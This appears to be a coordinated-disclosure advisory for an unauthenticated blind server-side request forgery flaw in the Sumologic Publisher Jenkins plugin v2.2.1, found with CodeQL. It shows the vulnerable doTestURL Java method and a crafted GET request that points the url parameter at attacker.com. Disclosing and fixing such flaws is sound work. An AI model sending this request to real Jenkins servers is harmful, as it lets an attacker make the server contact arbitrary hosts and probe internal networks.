Alvaro Munoz

Coordinated Disclosure Timeline

Summary

A Server-Side Request Forgery (SSRF) vulnerability was found in the sumologic-publisher-plugin. The vulnerability resides in the com.sumologic.jenkins.jenkinssumologicplugin.PluginDescriptorImpl#doTestURL method and can be exploited without authentication. An attacker can leverage this vulnerability to send requests to arbitrary hosts.

Product

Sumologic Publisher Jenkins plugin

Tested Version

v2.2.1

Details

SSRF in com.sumologic.jenkins.jenkinssumologicplugin.PluginDescriptorImpl#doTestURL (GHSL-2023-071)

The doTestURL method in the PluginDescriptorImpl.java file lacks proper validation and sanitization of user input for the url parameter, allowing a blind exploitation of a server-side request forgery (SSRF).

Affected source code: PluginDescriptorImpl.java

    public FormValidation doTestURL(@QueryParameter("url") String url) {
        try {
            StatusLine statusLine = LogSender.getInstance().testHTTPUrl(url);
            if (200 == statusLine.getStatusCode()) {
                return FormValidation.ok("Success");
            } else {
                return FormValidation.error("URL not valid with message " + statusLine.getReasonPhrase());
            }
        } catch (Exception e) {
            return FormValidation.error("Failure : " + e.getMessage());
        }
    }

In order to exploit the vulnerability, an attacker may send the following crafted request:

GET /jenkins/descriptorByName/com.sumologic.jenkins.jenkinssumologicplugin.SumoBuildNotifier/testURL?url=http%3A%2F%2Fattacker.com HTTP/1.1
Host: localhost:8080
Connection: close

This vulnerability was found using CodeQL’s SSRF Java query.
